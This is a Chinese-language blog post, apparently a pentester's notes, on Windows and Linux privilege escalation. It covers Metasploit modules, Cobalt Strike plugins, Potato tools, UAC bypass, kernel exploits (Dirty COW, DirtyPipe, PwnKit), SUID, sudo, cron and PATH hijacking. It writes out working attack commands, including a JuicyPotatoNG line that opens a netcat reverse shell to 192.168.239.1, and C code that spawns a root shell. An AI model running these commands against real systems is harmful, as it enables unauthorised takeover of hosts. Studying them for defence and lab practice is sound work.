权限提升#
windows#
msf提权模块#
环境:windows2008 r2 + iis + asp
使用哥斯拉连接,whoami查看用户为iis用户,权限较小

上线msf

使用multi/recon/local_exploit_suggester提权模块

cs插件提权#
首先上线cs,这里不赘述
使用LSTAR插件,点击左上角cobalt strike,选择脚本管理器,添加脚本,选中.cna文件添加

然后选择烂土豆模块进行提取

执行whoami命令,可以看到为system权限

之后执行cs木马,即可以system用户上线cs
土豆家族#
这篇文章记录了土豆家族几乎所有的变种
https://mp.weixin.qq.com/s/OW4ybuqtErh_ovkTWLSr8w
这里就展示几个复现成功的,有的编译有问题,还有的执行有问题,可能是我的环境问题,winserver 2016
BadPotato
BadPotato.exe whoami
EfsPotato
EfsPotato.exe whoami
juicyPotato
JuicyPotatoNG.exe -t * -p C:/aa/nc64.exe -a "192.168.239.1 2333 -e c:\windows\system32\cmd.exe"
PetitPotato
PetitPotato.exe <0-12> whoami
PrintNotifyPotato
PrintNotifyPotato whoami
bypass UAC#
在本地用户管理员组在getsystem提权过程中会出现uac问题

本文记录一些bypass uac的方法
msf
msf中常用的bypass uac的模块如下

bypass成功后使用getsystem即可

Akagi
https://github.com/hfiref0x/UACME/releases
akagi是一款bypass uac的开源工具,使用方法如下,number可以根据文档介绍随意选择一个,后面跟需要执行的文件,有时候需要用到绝对路径
akagi64.exe <number> <target.exe>使用该方法上线msf,直接可以getsystem获取system权限

linux#
内核提权#
dirtycow
使用以下cpp
https://github.com/gbonacini/CVE-2016-5195
编译
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil可以使用python开一个终端
python3 -c 'import pty;pty.spawn("/bin/bash")'
dirtypipe
用msf中自带的模块
exploit/linux/local/cve_2022_0847_dirtypipe
pwnkit
用msf中自带的模块
exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
suid&sudo#
shell中查找有suid权限的可执行文件
find / -perm -u=s -type f 2>/dev/null普通用户查找sudo权限命令
sudo -lsudo还存在一个cve提权漏洞(需要普通用户权限)
https://blog.csdn.net/IronmanJay/article/details/139379712
https://github.com/blasty/CVE-2021-3156
cron#
cron计划任务的提权原理是/etc/crontab中存在以root权限运行的计划任务,而运行的脚本允许其他用户查看和编辑,导致攻击者可以写入反弹shell语句,造成权限提升
PATH环境变量劫持#
现在假如一个用户将会执行curl命令,我们在tmp目录下创建一个内容为whoami的curl文件,并且给上777权限,再将/tmp目录导入到环境变量内,查看$PATH可以看到,刚刚添加的/tmp目录是位于其他正常执行文件的目录之前的,例如/usr/bin,此时我们执行curl,系统会优先找到/tmp目录下的curl去执行,也就是whoami。
根本原因还是因为没有使用绝对路径,依赖环境变量去寻找该命令的执行文件

那如何运用到提权中呢?假如root将某个命令或包含某个命令的执行文件给到了suid权限,那么我们就可以用PATH环境变量劫持去获取到拥有suid权限的命令的shell
做个实验
首先写个执行curl kiiy.cc命令的c代码
#include <unistd.h>
int main() {
char *args[] = {"curl", "kiiy.cc", NULL};
execvp("curl", args);
return 0;
}再用gcc进行编译
gcc cblog.c -o cblog编译好后放到/usr/local/bin目录下,此目录是在PATH环境变量内的
此时执行cblog就可以看到是执行了curl kiiy.cc命令的

此时模拟管理员给到此命令suid权限
chmod u+s /usr/local/bin/cblog此时切换到普通用户或其他系统用户开始实验
使用find寻找有suid权限的命令,发现cblog
[kiiy@192 tmp]$ ls -al /usr/local/bin/cblog
-rwsr-xr-x 1 root root 18144 May 17 03:57 /usr/local/bin/cblog使用strings查看cblog命令,发现调用了curl命令

现在我们再在/tmp目录下写一个执行/bin/bash的c代码
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", NULL);
return 0;
}至于为什么不直接echo,我做了实验是不可行的,还是返回的是普通用户的bash。这是chatgpt的回答:现代 bash 会检查:如果以 SUID 执行,则主动丢弃权限。
所以只好用c,gcc编译执行
编译好后,将/tmp目录导入到环境变量
export PATH=/tmp:$PATH执行cblog命令,可以看到成功获取到root权限的shell
